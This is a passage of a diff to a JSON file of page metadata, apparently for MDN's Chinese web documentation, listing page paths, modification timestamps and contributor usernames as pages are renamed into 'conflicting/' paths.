"Web/XML": { - "modified": "2019-09-25T00:01:50.050Z", + "conflicting/Web/Accessibility": { + "modified": "2019-03-23T22:29:25.203Z", "contributors": [ - "amalia77", - "ExE-Boss" + "qianzhangcheng" ] }, - "Web/XML/XML_Introduction": { - "modified": "2020-03-04T03:08:47.854Z", + "Web/API/AmbientLightSensor/illuminance": { + "modified": "2019-03-23T22:07:09.220Z", "contributors": [ - "Whitetea00", - "Joria0414", - "fish-inu", - "ExE-Boss", - "DarrenZhang01", - "pluwen", - "xgqfrms-GitHub", - "Y001", - "Mgjbot", - "Gelihui", - "Kakurady", - "Dbseti" + "shockw4ver" ] }, - "Web/XPath": { - "modified": "2019-03-18T20:43:12.282Z", + "conflicting/Web/API/Canvas_API/Tutorial": { + "modified": "2019-03-23T23:20:14.159Z", "contributors": [ - "RainSlide", - "Ke.shidong", "ziyunfei", - "cattail2012@gmail.com" + "wanglingzhi" ] }, - "Web/XPath/Axes": { - "modified": "2019-03-18T20:43:12.087Z", + "conflicting/Web/API/DOMMatrix": { + "modified": "2019-03-23T22:20:22.410Z", "contributors": [ - "ziyunfei", - "Cuimingda" + "kameii" ] }, - "Web/XSLT": { - "modified": "2019-03-23T23:52:51.686Z", + "Web/API/DeviceMotionEventAcceleration": { + "modified": "2019-03-23T22:20:59.019Z", "contributors": [ - "Gingercat", - "ziyunfei", - "Freeopen", - "Lycvip" + "shuangya" ] }, - "Web/XSLT/Elements": { - "modified": "2019-03-24T00:03:10.744Z", + "conflicting/Web/API/Document_Object_Model": { + "modified": "2019-03-23T23:33:00.872Z", "contributors": [ + "khalid32", "ziyunfei", - "fscholz", - "Freeopen" + "ReyCG_sub", + "ngoyroe" ] }, - "Web/XSLT/Transforming_XML_with_XSLT": { - "modified": "2019-03-23T23:52:45.330Z", + "conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint": { + "modified": "2019-03-23T23:19:33.886Z", "contributors": [ - "chrisdavidmills", - "ziyunfei", - "Freeopen" + "teoli", + "ziyunfei" ] }, - "Web/媒体": { - "modified": "2019-08-30T07:28:45.901Z", + "conflicting/Web/API/DocumentOrShadowRoot/elementsFromPoint": { + "modified": "2019-03-23T22:03:51.668Z", "contributors": [ - "Jwenee", - "Forbidden" + "ziyunfei" ] }, - "Web/媒体/Autoplay_guide": { - "modified": "2020-11-19T04:43:44.047Z", + "conflicting/Web/API/DocumentOrShadowRoot/getSelection": { + "modified": "2019-04-29T02:16:09.423Z", "contributors": [ - "avrinfly", - "baijingfeng" + "happyWang", + "teoli", + "AlexChao" ] }, - "Web/演示说明": { - "modified": "2019-09-04T03:32:34.828Z", + "conflicting/Web/API/Document/characterSet": { + "modified": "2019-03-24T00:17:51.204Z", "contributors": [ - "RainSlide", - "yzweb2018", - "nanflower", - "Vevlins", - "wth", - "awesomeric" + "teoli", + "AshfaqHossain", + "ziyunfei" ] }, - "WebAPI": { - "modified": "2019-03-18T20:42:39.198Z", + "conflicting/Web/API/DocumentOrShadowRoot/styleSheets": { + "modified": "2019-03-23T23:10:11.077Z", "contributors": [ - "wbamberg", - "fscholz", - "jiahui", - "zhenhua32", - "Meteormatt" + "xgqfrms-GitHub", + "teoli", + "AlexChao" ] }, - "WebAssembly": { - "modified": "2020-10-15T21:52:52.867Z", + "Web/API/HTMLElement/accessKey": { + "modified": "2019-03-23T22:20:51.264Z", "contributors": [ - "callmeDAY", - "zhangchen", - "ldwformat", - "zhuangyin", - "kingysu", - "xgqfrms-GitHub", - "disoul" + "songlairui" ] }, - "WebAssembly/C_to_wasm": { - "modified": "2020-11-17T22:59:58.305Z", + "conflicting/Web/API": { + "modified": "2019-03-23T23:09:29.332Z", "contributors": [ - "CGerAJ", - "zhanyuzhang", - "xinghuolei", - "rui-space", - "jinliming2", - "johncido", - "eeve", - "kingysu", - "hungtcs", - "AdrianDuan", - "disoul" + "mySoul", + "teoli", + "AlexChao" ] }, - "WebAssembly/Caching_modules": { - "modified": "2019-03-25T04:00:16.303Z", + "conflicting/Web/API/GlobalEventHandlers/ongotpointercapture": { + "modified": "2019-03-18T21:45:48.501Z", "contributors": [ - "Seasonley", - "rui-space", - "kingysu" + "Bayes", + "StorytellerF" ] }, - "WebAssembly/Concepts": { - "modified": "2019-03-18T20:54:48.847Z", + "conflicting/Web/API/MouseEvent/altKey": { + "modified": "2019-03-24T00:16:10.184Z", "contributors": [ - "xiongcong", - "rui-space", "ziyunfei", - "kingysu" + "teoli", + "jsx" ] }, - "WebAssembly/Exported_functions": { - "modified": "2019-07-23T04:14:30.673Z", + "conflicting/Web/API/MouseEvent/button": { + "modified": "2019-03-24T00:18:20.119Z", "contributors": [ - "imechZhangLY", - "rui-space", - "kingysu" + "ziyunfei", + "teoli", + "AshfaqHossain" ] }, - "WebAssembly/Loading_and_running": { - "modified": "2019-03-18T20:54:50.799Z", + "conflicting/Web/API/MouseEvent/relatedTarget": { + "modified": "2019-03-23T23:09:12.340Z", "contributors": [ - "kingysu", - "xgqfrms-GitHub" + "wbamberg", + "zhangqiong", + "ziyunfei", + "teoli", + "Darrel.Hsu" ] }, - "WebAssembly/Rust_to_wasm": { - "modified": "2020-11-12T06:21:14.353Z", + "conflicting/Web/API/MouseEvent/shiftKey": { + "modified": "2019-03-24T00:16:22.591Z", "contributors": [ - "longfangsong", - "linghucq1", - "yanchongwen101", - "Syaki", - "SphinxKnight", - "SToneX", - "wymm0008" + "ziyunfei", + "teoli", + "khalid32" ] }, - "WebAssembly/Text_format_to_wasm": { - "modified": "2020-01-27T02:12:13.951Z", + "conflicting/Web/API/Document/createEvent": { + "modified": "2019-03-23T22:56:15.340Z", "contributors": [ - "coderzh", - "acelan86", - "xgqfrms-GitHub", - "kingysu" + "holynewbie", + "Serifx", + "yulifu" ] }, - "WebAssembly/Understanding_the_text_format": { - "modified": "2019-03-23T22:12:45.612Z", + "conflicting/Web/API/Event/composedPath": { + "modified": "2019-03-23T22:13:43.358Z", "contributors": [ - "yangdonglai", - "rui-space", - "aaron_li", - "Rexli", - "rockfire", - "acelan86", - "kingysu", - "chyingp", - "itminus" + "DarrenZhang01", + "Gyanxie" ] }, - "WebAssembly/Using_the_JavaScript_API": { - "modified": "2020-08-18T06:38:27.755Z", + "conflicting/Web/API/EventTarget/addEventListener": { + "modified": "2020-12-08T04:46:34.350Z", "contributors": [ - "jealyn", - "xgqfrms", - "coderzh", - "billkang", - "huangjj27", - "kingysu", - "skyfore", - "xgqfrms-GitHub" + "bershanskiy", + "JohnsonBryant", + "eeeeeeeason", + "JiexianYang" ] }, - "WebGuide/API/File_System": { - "modified": "2019-03-23T23:17:06.579Z", + "conflicting/Web/API/EventTarget/removeEventListener": { + "modified": "2019-03-23T22:15:37.296Z", "contributors": [ - "ziyunfei" + "Ende93", + "faremax", + "daisyHawen" ] }, - "WebGuide/API/File_System/Introduction": { - "modified": "2019-03-23T23:31:18.012Z", + "conflicting/Web/API/EventTarget/dispatchEvent": { + "modified": "2019-03-23T22:26:26.112Z", "contributors": [ - "JobbyM", - "ziyunfei", - "james.li" + "pod4g" ] }, - "WebRTC": { - "modified": "2019-03-23T23:36:50.162Z", + "conflicting/Web/API/GlobalEventHandlers/ontouchmove": { + "modified": "2019-03-23T22:38:32.324Z", "contributors": [ - "lxyion", - "acgeeker", - "alayasix" + "zhangqiong" + ] + }, + "conflicting/Web/API/HTMLInputElement": { + "modified": "2019-03-23T23:32:37.731Z", + "contributors": [ + "teoli", + "basemnassar11", + "ziyunfei" ] }, - "WebRTC/介绍": { - "modified": "2019-07-15T23:54:09.891Z", + "conflicting/Web/API/Geolocation": { + "modified": "2019-03-23T23:01:18.415Z", "contributors": [ - "qs3673132", - "Xiaosha61", - "Move", - "acgeeker" + "teoli" ] }, - "Web_Development": { - "modified": "2019-03-24T00:05:29.399Z", + "conflicting/Web/API/Node": { + "modified": "2019-03-24T00:17:51.751Z", "contributors": [ - "xuxun", - "xcffl", - "superwulei", - "Marcossp", - "fantasticfears", - "limomo", - "Cnmahj" + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web_Development/Introduction_to_Web_development": { - "modified": "2019-03-24T00:00:33.366Z", + "conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556": { + "modified": "2019-03-23T23:09:34.131Z", "contributors": [ + "teoli", "ziyunfei", - "fantasticfears" + "AlexChao" ] }, - "Web_Development/Mobile": { - "modified": "2019-03-23T23:32:37.535Z", + "conflicting/Web/API/HTMLElement/outerText": { + "modified": "2019-01-17T00:59:24.641Z", "contributors": [ - "xuxun", - "wbamberg" + "xgqfrms-GitHub" ] }, - "Web_Development/Mobile/Responsive_design": { - "modified": "2019-03-23T23:32:36.317Z", + "conflicting/Web/API/Node/getRootNode": { + "modified": "2019-03-18T21:40:49.635Z", "contributors": [ - "cagen53070830", - "ziyunfei", - "goodboy" + "wbamberg", + "LoveofRedMoon" ] }, - "XHTML": { - "modified": "2019-03-23T23:53:05.465Z", + "conflicting/Web/API/Push_API": { + "modified": "2019-03-23T22:26:22.995Z", "contributors": [ - "SQibang", - "ziyunfei", - "Jiangyuanmil", - "Jiao7zhe8", - "Unest" + "vankai", + "xgqfrms-GitHub", + "hibernake" ] }, - "XMLSerializer": { - "modified": "2020-10-15T21:14:45.671Z", + "conflicting/Web/API/Crypto/getRandomValues": { + "modified": "2019-03-23T22:14:07.005Z", "contributors": [ - "leeleee", - "zhangchen", - "ziyunfei", - "teoli", - "zchong1022" + "micblo" ] }, - "learn": { - "modified": "2020-07-16T22:43:49.854Z", + "conflicting/Web/API/Element": { + "modified": "2020-10-15T22:26:24.148Z", "contributors": [ - "Roy-Tian", - "SirnoChan", - "mrg123", - "wangfangping", - "chentao106", - "916106840510", - "wushengde", - "MingdaHIT", - "JiaHua", - "Aslemonssss", - "SurfingFish", - "svarlamov", - "RanceLotusLee", - "miye", - "xmcgcg", - "codeofjackie", - "xixilog", - "Forbidden", - "Bearies", - "varcat", - "2526chen", - "zs808", - "gao5252", - "xcffl", - "sefer", - "xgqfrms-GitHub", - "fan19900404", - "WavinFlag", - "Simcookies", - "m4jing", - "liminjun", - "sunxiang", - "Ende93", - "Meteormatt", - "lunix01", - "27", - "chenhui7373", - "teoli", - "ziyunfei" + "RainSlide" ] }, - "learn/Accessibility": { - "modified": "2020-07-16T22:40:01.477Z", + "conflicting/Web/API/Window/localStorage": { + "modified": "2019-03-23T22:25:01.381Z", "contributors": [ - "shinexyt", - "pixang", - "yatarphae", - "guaner", - "chenghaihua" + "CuriosityLxn", + "jaiJia", + "lightning-zgc", + "kankk", + "tabooc", + "luneice", + "liuzeyafzy" ] }, - "learn/Accessibility/Accessibility_troubleshooting": { - "modified": "2020-07-16T22:40:37.212Z", + "conflicting/Web/API/WebRTC_API/Protocols": { + "modified": "2020-04-24T05:54:00.386Z", "contributors": [ - "wsj0124", - "kuldahar", - "zeng-zhi-yong" + "xgqfrms", + "ziyunfei", + "SparrowLiu" ] }, - "learn/Accessibility/CSS和JavaScript": { - "modified": "2020-11-03T05:18:13.954Z", + "conflicting/Web/API/WebRTC_API": { + "modified": "2019-03-23T22:45:00.042Z", "contributors": [ - "No.5972", - "yawei", - "grape", - "wangfangping", - "wsj0124", - "cani1see", - "hmfight" + "Ling.kevin" ] }, - "learn/Accessibility/HTML:为可访问性提供一个良好的基础": { - "modified": "2020-07-16T22:40:15.418Z", + "conflicting/Web/API/WebRTC_API/Signaling_and_video_calling": { + "modified": "2019-09-24T02:45:56.457Z", "contributors": [ - "grape", - "kuldahar", - "ChuckZhang", - "zxsunrise", - "xiwusheng", - "zouyang1230", - "Junx" + "lixl", + "huangcheng", + "SparrowLiu" ] }, - "learn/Accessibility/Mobile": { - "modified": "2020-07-16T22:40:33.086Z", + "conflicting/Web/API/GlobalEventHandlers/onmouseup": { + "modified": "2019-03-24T00:16:16.641Z", "contributors": [ - "yuyx91", - "shenshaohui1991" + "teoli", + "khalid32", + "ziyunfei" ] }, - "learn/Accessibility/WAI-ARIA_basics": { - "modified": "2020-07-16T22:40:24.388Z", + "conflicting/Web/API/GlobalEventHandlers/onscroll": { + "modified": "2019-03-24T00:15:58.211Z", "contributors": [ - "grape", - "Madao-3", - "DavidDavidx" + "teoli", + "khalid32", + "ziyunfei" ] }, - "learn/Accessibility/多媒体": { - "modified": "2020-07-16T22:40:28.501Z", + "conflicting/Web/API/Window/moveTo": { + "modified": "2020-10-15T22:06:41.722Z", "contributors": [ - "wangfangping", - "xiwusheng" + "Bayes" ] }, - "learn/Front-end_web_developer": { - "modified": "2020-07-16T22:40:48.018Z", + "conflicting/Web/API/URL": { + "modified": "2019-03-23T22:22:37.359Z", "contributors": [ - "Ende93", - "ex90rts" + "xgqfrms-GitHub", + "Boring" ] }, - "learn/HTML": { - "modified": "2020-07-16T22:22:25.734Z", + "conflicting/Web/CSS/:placeholder-shown": { + "modified": "2019-03-23T23:21:19.033Z", "contributors": [ - "anguiao", - "xmcgcg", - "codeofjackie", - "myfreeer", - "xp44mm", - "xgqfrms-GitHub", - "BigLiao", - "leenlyCFFC", - "Mac_zhang", - "aimiy", - "chenxingyu350128", - "Yongest", - "funnyChinese", - "pkjy", - "sunxiang", - "Metalooze" + "teoli", + "bowen-shi" ] }, - "learn/HTML/Forms_and_buttons": { - "modified": "2020-02-28T22:25:38.433Z", + "conflicting/Web/CSS/:is": { + "modified": "2019-03-23T22:23:18.210Z", "contributors": [ - "Dev-Liangjian" + "Minya_Chan", + "LinYunweb", + "shuihuo", + "tigercao" ] }, - "learn/HTML/Howto": { - "modified": "2020-07-16T22:22:31.131Z", + "conflicting/Web/CSS/::placeholder": { + "modified": "2019-03-23T23:21:18.757Z", "contributors": [ - "xmcgcg", - "coderfee", - "WooHooDai", - "sallyllas", - "sour-toilet-seat", - "webber007", - "pengtikui", - "skylakecore", - "qixi" + "FrontENG", + "teoli", + "bowen-shi" ] }, - "learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image": { - "modified": "2020-07-16T22:22:43.732Z", + "conflicting/Web/CSS/@viewport": { + "modified": "2020-11-27T23:49:12.467Z", "contributors": [ - "hebby" + "xusy" ] }, - "learn/HTML/Introduction_to_HTML": { - "modified": "2020-07-16T22:22:54.800Z", + "conflicting/Web/CSS/@viewport_7861ca3461a359b150d44f2c8d74e53a": { + "modified": "2019-03-23T22:28:00.871Z", "contributors": [ - "zixuan945", - "mkckr0", - "Sphish", - "xmcgcg", - "imba-tjd", - "HolaForce", - "codeofjackie", - "zihengCat", - "lihaoyuan", - "chenos", - "Melvin.", - "xixilog", - "SeanZHU", - "funnyChinese", - "ZhiRui" + "Minya_Chan" ] }, - "learn/HTML/Introduction_to_HTML/Advanced_text_formatting": { - "modified": "2020-10-29T09:47:28.341Z", + "conflicting/Web/CSS/@viewport_a33ee59ffd8336ffb3336900dea02e9f": { + "modified": "2020-10-15T22:19:15.758Z", "contributors": [ - "kuailekai", - "Chell", - "Roy-Tian", - "MorrisLi", - "CesarChang", - "kenneth55555", - "cetewhale", - "xq20160912", - "monkey-king", - "imba-tjd", - "kaka4NERV", - "HolaForce", - "codeofjackie", - "jwhitlock", - "anlien", - "eelord", - "lihaoyuan", - "superkuang", - "zhaoqize", - "023Sparrow", - "yydzxz", - "dirringx", - "HashubWang", - "xiaofei86", - "luwudang", - "weikunzz" + "PYGC", + "gzbitzxx", + "zhangchen", + "x1aodingdang" ] }, - "learn/HTML/Introduction_to_HTML/Debugging_HTML": { - "modified": "2020-09-22T12:30:11.535Z", + "conflicting/Web/CSS/@viewport_c925ec0506b352ea1185248b874f7848": { + "modified": "2019-10-22T01:59:54.524Z", "contributors": [ - "Roy-Tian", - "aaazz47", - "Yang_Hanlin", - "huaouo", - "HolaForce", - "lihaoyuan", - "zhaoqize", - "littledust", - "Zeng", - "huixiaomu" + "Zhang-Junzhi", + "xpromise" ] }, - "learn/HTML/Introduction_to_HTML/Getting_started": { - "modified": "2020-07-16T22:23:09.709Z", + "conflicting/Web/CSS/@viewport_e065ce90bde08c9679692adbe64f6518": { + "modified": "2020-10-15T21:50:31.298Z", "contributors": [ - "lucida959595", - "Roy-Tian", - "dlnb526", - "LINYI", - "Sphish", - "h4091", - "WoodCube", - "eagle1949", - "imba-tjd", - "gadflysu", - "WimZhai", - "jwhitlock", - "HolaForce", - "byeyear", - "Planet6174", - "codeofjackie", - "pachinko", - "Willian.G", - "alonelyer", - "xp44mm", - "shinexyt", - "zhaoqize", - "Jeffrey_Yang", - "lyxy", - "SilverLeaves", - "skylakecore", - "jiahaifeng", - "workttt", - "HashubWang", - "b2ns", - "songbinghui", - "mhengrui", - "PhilipDing", - "RevolverOcelotA", - "hawm", - "3359260180", - "goingon", - "MinimalistYing", - "funnyChinese" + "zhangchen", + "azhi09" ] }, - "learn/HTML/Introduction_to_HTML/HTML_text_fundamentals": { - "modified": "2020-11-16T00:17:59.659Z", + "conflicting/Web/CSS/CSS_Backgrounds_and_Borders": { + "modified": "2019-03-23T22:45:29.966Z", "contributors": [ - "sinochen123", - "Roy-Tian", - "aaazz47", - "ZeroAurora", - "youngquan", - "MorrisLi", - "SirnoChan", - "Sphish", - "liangmuyang", - "tryhard", - "sf-think", - "baijingfeng", - "WindLo", - "HolaForce", - "web-xx", - "CaTmmao", - "shiyubo", - "zhaoqize", - "fengkx", - "HashubWang", - "skylakecore", - "876843240", - "DZW314", - "danlanxiaohei", - "c0ldian", - "funnyChinese" + "FrontENG", + "teoli" ] }, - "learn/HTML/Introduction_to_HTML/Marking_up_a_letter": { - "modified": "2020-07-16T22:23:14.761Z", + "conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": { + "modified": "2019-03-23T23:28:25.343Z", "contributors": [ - "Roy-Tian", - "ToJunYu", - "ZhiiChong", - "chrisdavidmills", - "SirnoChan", - "FantasqueX", - "imba-tjd", - "ChairMao", - "kongkong1", - "HolaForce", - "Lohoyo", - "phiwyc", - "lihaoyuan", - "zhaoqize", - "gitpyc", - "Boot95" + "imwangpan", + "teoli", + "Nightingale" ] }, - "learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content": { - "modified": "2020-07-16T22:24:21.297Z", + "conflicting/Web/CSS/CSS_Color": { + "modified": "2019-03-23T22:09:37.851Z", "contributors": [ - "Roy-Tian", - "MorrisLi", - "HolaForce", - "codeofjackie", - "lihaoyuan", - "zhaoqize", - "littledust", - "ChenLyu01" + "GHLandy", + "Krenair" ] }, - "learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": { - "modified": "2020-12-06T06:59:19.723Z", + "conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox": { + "modified": "2019-03-23T23:31:49.899Z", "contributors": [ - "zrzjohn", - "wayne_lau", - "Roy-Tian", - "Sphish", - "PYGC", - "WoodCube", - "fangfangfanga", - "eagle1949", - "Metaloe", - "HolaForce", - "qinruiy", - "codeofjackie", - "CaTmmao", - "yevivid", - "Willian.G", - "Milktea", - "anan0v0", - "zhaoqize", - "fengkx", - "oldpotter", - "littledust", - "hjb912", - "tianhu288", - "Mac_zhang", - "BarryLiu1995", - "HashubWang", - "littermark", - "igigi", - "876843240", - "mhengrui", - "Daryl.L", - "chinazhaghai", - "sisyphus-zhou" + "hanliuxin5", + "xgqfrms-GitHub", + "mogewcy", + "fedwatch", + "dongyu_-_", + "zrj570543941", + "TiaossuP", + "xgqfrms", + "WynnChen", + "jokeviner", + "fscholz", + "Huxpro", + "ziyunfei", + "yan", + "nighca", + "Kasuganosora", + "yisi", + "Ribery", + "TimZhao", + "Nightingale" ] }, - "learn/HTML/Introduction_to_HTML/文件和网站结构": { - "modified": "2020-09-22T12:28:50.229Z", + "conflicting/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox": { + "modified": "2019-03-23T22:27:26.278Z", "contributors": [ - "Roy-Tian", - "aaazz47", - "chenduone", - "MorrisLi", - "SirnoChan", - "wangfangping", - "FantasqueX", - "imba-tjd", - "HolaForce", - "HeYuansong", - "web-xx", - "codeofjackie", - "chaosdog", - "phiwyc", - "eelord", - "lihaoyuan", - "zhaoqize", - "nbhaohao", - "dirringx", - "HashubWang", - "skylakecore", - "BarryLiu1995", - "luwudang", - "JX-Master", - "danlanxiaohei", - "c0ldian" + "Anshiii", + "SphinxKnight", + "lon", + "fscholz", + "lazurey" ] }, - "learn/How_the_Internet_works": { - "modified": "2020-07-16T22:35:39.172Z", + "conflicting/Web/CSS/easing-function": { + "modified": "2020-10-15T21:21:10.131Z", "contributors": [ - "simon.woo", - "grape", - "W-YaoLing", - "ZhuZhuDrinkMilk", - "TaskForce86", - "ShirleyM", - "yydzxz", - "Jeffrey_Yang", - "StarryForce", - "ArcherGrey", - "wth", - "boredivan", - "RyanZhang", - "TanJrJie" + "tzgong", + "WangYiCong", + "woshixixi", + "wqq1992324", + "zhangchen", + "Huahua-Chen", + "Sebastianz", + "jiahui", + "fscholz", + "cungen", + "teoli", + "ziyunfei" ] }, - "learn/How_to_contribute": { - "modified": "2020-07-16T22:33:47.665Z", + "Web/CSS/url()": { + "modified": "2019-03-23T22:25:44.664Z", "contributors": [ - "SphinxKnight", - "Simcookies", - "Forbidden", - "WavinFlag" + "zhyupe" ] }, - "learn/JavaScript": { - "modified": "2020-07-16T22:29:46.300Z", + "conflicting/Web/API/HTMLMediaElement/abort_event": { + "modified": "2019-04-30T14:23:21.618Z", "contributors": [ - "oceanMIH", - "yummy_song", - "scyhm", - "YehaiChen", - "WavinFlag", + "wbamberg", + "hhxxhg", + "fscholz", "xgqfrms-GitHub", - "noiron", - "houcheng", - "Maze", - "Metalooze" + "m2mbob" ] }, - "learn/JavaScript/Building_blocks": { - "modified": "2020-07-16T22:31:11.083Z", + "conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef": { + "modified": "2019-03-23T23:28:38.723Z", "contributors": [ - "Drizzt-Yu", - "NiceGG", - "JiLiangLai", - "xiaobin123", - "xp44mm", - "yzweb2018", - "sonymoon", - "nlln", - "ztytotoro", - "okotta1", - "backli", - "lvyue", - "ByWhy", - "Marslin92", - "chinatomhuang", - "GKilyar", - "iProgramme" + "ziyunfei", + "paddingme", + "Carrott", + "Kasuganosora", + "Sheppy" ] }, - "learn/JavaScript/Building_blocks/Build_your_own_function": { - "modified": "2020-08-01T05:11:26.919Z", + "conflicting/Web/API/Web_Storage_API": { + "modified": "2019-03-24T00:14:59.754Z", "contributors": [ - "driftingdream", - "Hermedius", - "WindLo", - "qiubite-name", - "codeofjackie", - "Undecyce", - "hygSup", - "gitpyc", - "Ray-Eldath", - "Hecdi", - "ppphp" + "ziyunfei", + "celinestar", + "hutuxu", + "Sheppy", + "qiumaoyuan", + "aokihu", + "zhengzong.fu", + "Carrie zhxj" ] }, - "learn/JavaScript/Building_blocks/Functions": { - "modified": "2020-08-27T11:13:47.934Z", + "conflicting/Learn/CSS/Building_blocks": { + "modified": "2019-03-21T02:43:58.945Z", "contributors": [ - "shawn20111416", - "driftingdream", - "jsl1079322620", - "Hermedius", - "jinsth", - "hyjalxl", - "agnoCJY", - "BusyToDie", - "LuoYun", - "codeofjackie", - "zhilu1", - "caifx", - "luoxzhg", - "NicholasCao", - "Pipapa", - "GKilyar", - "caojinguo", - "fyzzy1943", - "minmino" + "seozed", + "Robinx", + "Harvesty", + "ziyunfei", + "teoli", + "Chajn", + "hxl" ] }, - "learn/JavaScript/Building_blocks/Looping_code": { - "modified": "2020-07-16T22:31:22.467Z", + "conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance": { + "modified": "2019-03-23T23:20:58.387Z", "contributors": [ - "agnoCJY", - "Yayure", - "jianbinfu", - "LittleMang", - "LuoYun", - "lscnet", - "codeofjackie", - "WhiteYin", - "tuneura", - "DaduCC", - "Ray-Eldath", - "NicholasCao", - "Ende93", - "wanqing19954", - "Marslin92" + "HelloFun", + "ziyunfei", + "teoli", + "jedmeng", + "Chajn" ] }, - "learn/JavaScript/Building_blocks/Return_values": { - "modified": "2020-11-24T04:05:07.114Z", + "conflicting/Learn/CSS/Building_blocks/Values_and_units": { + "modified": "2019-07-23T22:49:50.958Z", "contributors": [ - "Anser0111", - "jsl1079322620", - "Hermedius", - "FantasqueX", - "LuoYun", - "larrychen", - "Gloriazdh", - "codeofjackie", - "DaduCC", - "BadRonmance", - "yj21world", - "minmino" + "moposx", + "HelloFun", + "Harvesty", + "jasonzhyan", + "ziyunfei", + "teoli", + "Chajn", + "lilyh" ] }, - "learn/JavaScript/Building_blocks/conditionals": { - "modified": "2020-07-16T22:31:16.388Z", + "conflicting/Learn/CSS/First_steps/How_CSS_works": { + "modified": "2019-03-23T23:23:25.849Z", "contributors": [ - "SirnoChan", - "qiubite-name", - "Undecyce", - "Ray-Eldath", - "DaduCC", - "NicholasCao", - "ideal.Li", - "lyllll000", - "finegao", - "INFINITSY", - "HashubWang" + "HelloFun", + "ziyunfei", + "teoli", + "Chajn", + "reygreen1" ] }, - "learn/JavaScript/Building_blocks/相片走廊": { - "modified": "2020-07-16T22:31:44.958Z", + "conflicting/Learn/CSS/First_steps": { + "modified": "2019-03-23T23:51:15.283Z", "contributors": [ - "lucida959595", - "Roy-Tian", - "LittleMang", - "Park-ma", - "codeofjackie", - "lihaoyuan", - "yeslogin2", - "Zeng" + "Harvesty", + "Ende93", + "ziyunfei", + "teoli", + "Chajn", + "sunnylost", + "playts", + "Ianyang", + "Verruckt", + "Mgjbot", + "Zuzu" ] }, - "learn/JavaScript/Howto": { - "modified": "2020-07-16T22:33:11.775Z", + "conflicting/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents": { + "modified": "2019-03-23T23:14:19.406Z", "contributors": [ - "wangwenhao", - "yuyx91" + "chengzise", + "Chajn", + "reygreen1" ] }, - "learn/JavaScript/异步": { - "modified": "2020-07-16T22:33:15.541Z", + "conflicting/Learn/CSS/CSS_layout": { + "modified": "2019-03-23T23:35:32.514Z", "contributors": [ - "yuqing521", - "alice201601", - "oceanMIH" + "Harvesty", + "jasonzhyan", + "shuson", + "ziyunfei", + "mengzyou", + "teoli", + "Chajn", + "larryzhang" ] }, - "learn/JavaScript/异步/Async_await": { - "modified": "2020-12-08T06:58:32.883Z", + "conflicting/Learn/CSS/Styling_text/Styling_lists": { + "modified": "2019-03-23T23:20:46.740Z", "contributors": [ - "byrde", - "woniuxingdong", - "qwei", - "plainnany", - "jakio6", - "awarmy", - "cochn", - "wangfangping" + "Harvesty", + "jasonzhyan", + "tolerious", + "mengzyou", + "ziyunfei", + "teoli", + "Chajn", + "aztack" ] }, - "learn/JavaScript/异步/Choosing_the_right_approach": { - "modified": "2020-12-08T07:27:41.218Z", + "conflicting/Learn/CSS/First_steps/How_CSS_is_structured": { + "modified": "2019-03-23T23:20:58.835Z", "contributors": [ - "byrde", - "icetea_cover", - "rubyKC", - "shangruitong", - "PYGC", - "wangfangping", - "tjls" + "FlameZheng", + "HelloFun", + "Harvesty", + "jasonzhyan", + "Synyan", + "neutrous", + "ziyunfei", + "teoli", + "aztack", + "reygreen1" ] }, - "learn/JavaScript/异步/Promises语法": { - "modified": "2020-12-08T05:22:09.292Z", + "conflicting/Learn/CSS/Building_blocks/Selectors": { + "modified": "2019-03-21T05:33:31.497Z", "contributors": [ - "byrde", - "You2er", - "hidoos", - "mizhon", - "haoawen", - "PYGC", - "masterZSH", - "wangfangping", - "kafm", - "zijieee" + "yijie_sun", + "Robinx", + "HelloFun", + "Harvesty", + "jasonzhyan", + "yihuanZhang", + "futurefeeling", + "FredWe", + "chenguangqi", + "yilksd", + "ziyunfei", + "teoli", + "Chajn", + "aztack", + "bingguo" ] }, - "learn/JavaScript/异步/概念": { - "modified": "2020-07-16T22:33:29.726Z", + "conflicting/Learn/CSS/Building_blocks/Styling_tables": { + "modified": "2019-03-23T23:20:48.505Z", "contributors": [ - "alice201601", - "grape", - "HermitSun", - "oceanMIH" + "023Sparrow", + "Harvesty", + "mengzyou", + "ziyunfei", + "teoli", + "Chajn", + "aztack" ] }, - "learn/JavaScript/异步/简介": { - "modified": "2020-12-09T00:17:16.227Z", + "conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711": { + "modified": "2019-03-23T23:20:39.790Z", "contributors": [ - "hidoos", - "iroywang", - "Hermedius", - "Xugen-Ma", - "alice201601", - "grape", - "Kavelaa", - "gqbre", - "oceanMIH" + "Harvesty", + "neutrous", + "ziyunfei", + "teoli", + "bingguo", + "gadgetboy", + "Chajn" ] }, - "learn/JavaScript/异步/超时和间隔": { - "modified": "2020-08-14T06:09:20.310Z", + "conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209": { + "modified": "2019-03-18T20:41:48.849Z", "contributors": [ - "Pada", - "You2er", - "WinterCicada", - "zhangbig0", - "mizhon", - "yuqing521", - "Alendia", - "grape", - "wangfangping", - "puddlejumper26", - "oceanMIH" + "HelloFun", + "Ende93", + "haofu", + "ziyunfei", + "teoli", + "Chajn", + "sunnylost" ] }, - "learn/Learning_and_getting_help": { - "modified": "2020-12-06T05:06:52.891Z", + "conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521": { + "modified": "2019-03-23T23:24:15.853Z", "contributors": [ - "3143875691" + "TomatoLovve", + "HelloFun", + "ziyunfei", + "haofu", + "teoli", + "Chajn", + "aihua" ] }, - "learn/Performance": { - "modified": "2020-12-05T12:01:04.505Z", + "conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images": { + "modified": "2019-03-23T23:22:21.195Z", "contributors": [ - "mayerpan", - "liguanzeng", - "Bayes", - "yangchongduo" + "Ende93", + "mrstork", + "anjia", + "figure7", + "Wenbin" ] }, - 